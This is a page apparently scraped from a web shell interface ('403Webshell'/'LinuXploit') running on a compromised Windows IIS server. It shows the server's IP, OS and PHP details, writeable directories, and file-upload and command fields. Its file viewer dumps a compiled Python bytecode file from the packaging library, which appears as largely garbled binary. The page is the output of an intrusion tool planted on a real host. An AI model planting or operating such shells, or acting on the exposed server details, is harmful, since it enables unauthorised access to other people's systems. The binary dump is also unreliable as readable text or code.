403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/packaging/licenses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/packaging/licenses/__pycache__/__init__.cpython-312.pyc
�

��HgS���ddlmZddlZddlmZmZddlmZmZgd�Z	ejd�Zede�Z
Gd�d	e�Z				dd
�Zy)�)�annotationsN)�NewType�cast)�
EXCEPTIONS�LICENSES)�NormalizedLicenseExpression�InvalidLicenseExpression�canonicalize_license_expressionz^[A-Za-z0-9.-]*$rc��eZdZdZy)r	z�Raised when a license-expression string is invalid

    >>> canonicalize_license_expression("invalid")
    Traceback (most recent call last):
        ...
    packaging.licenses.InvalidLicenseExpression: Invalid license expression: 'invalid'
    N)�__name__�
__module__�__qualname__�__doc__���=C:\Python312\Lib\site-packages\packaging/licenses/__init__.pyr	r	2s��rr	c	��|sd|��}t|��|jdd�jdd�}d}|j�D�cic]O}|j�j	|j��r |j�d|t|�dz��Q}}|j�}|j�}g}|D]^}|dvr|j
d��|d	k(r|j
d
��0|dk(r|r|ddvrd|��}t|��|j
|��`d
j|�}		t|	t�t��}
|
durd|��}t|�d�g}|D�]}|dvr |j
|j���(|r<|ddk(r4|tvrd|��}t|��|j
t|d��f|jd�r|dd}d}
n|}d}
|j	d�r=tj!|�sd|��}t|��|j
|||
z���|t"vrd|��}t|��|j
t"|d|
z���	d
j|�}t%t&|jdd�jdd��Scc}w#t$rd}
Y��wwxYw)NzInvalid license expression: �(z ( �)z ) zLicenseRef->�or�and�withrr�Falserr���>rr� TF�WITHzUnknown license exception: �id�+�zlicenseref-zInvalid licenseref: zUnknown license: z( z ))r	�replace�split�lower�
startswith�len�append�join�eval�globals�locals�	Exception�upperr�endswith�license_ref_allowed�matchrrr)�raw_license_expression�message�license_expression�licenseref_prefix�ref�license_refs�tokens�
python_tokens�token�python_expression�invalid�normalized_tokens�final_token�suffix�normalized_expressions               rr
r
<s ��"�0�1G�0J�K��&�w�/�/�0�7�7��U�C�K�K�C�QV�W��%��&�+�+�-����9�9�;�!�!�"3�"9�"9�";�<�	�	�	��]�S��->�)?�)A�%B�B�B��L��,�1�1�3��
�
%�
%�
'�F�
�M��	(���7�7�� � ��)�
�f�_�� � ��&�
�c�\�m�
�b�0A��0V�4�5K�4N�O�G�*�7�3�3�� � ��'�	(�����/����(�'�)�V�X�>���e��0�1G�0J�K��&�w�/�T�9����O���3�3��$�$�U�[�[�]�3���!2�2�!6�&�!@��J�&�7��y�A��.�w�7�7��$�$�Z��%6�t�%<�=��~�~�c�"�#�C�R�j����#�����%�%�m�4�*�0�0��=� 4�[�O�D�G�2�7�;�;�!�(�(��k�)B�V�)K�L��h�.� 1�+��A�G�2�7�;�;�!�(�(��+�)>�t�)D�v�)M�N�9O�< �H�H�%6�7���#��%�%�d�C�0�8�8��s�C����O��<�����s�	AJ7�6J<�<K�
K)r/�str�returnr)�
__future__r�re�typingrr�packaging.licenses._spdxrr�__all__�compiler-r>r�
ValueErrorr	r
rrr�<module>rGsa��@#�	� �9���!�b�j�j�!3�4��%�&C�S�I���z��U��U� �Ur

Youez - 2016 - github.com/yon3zu
LinuXploit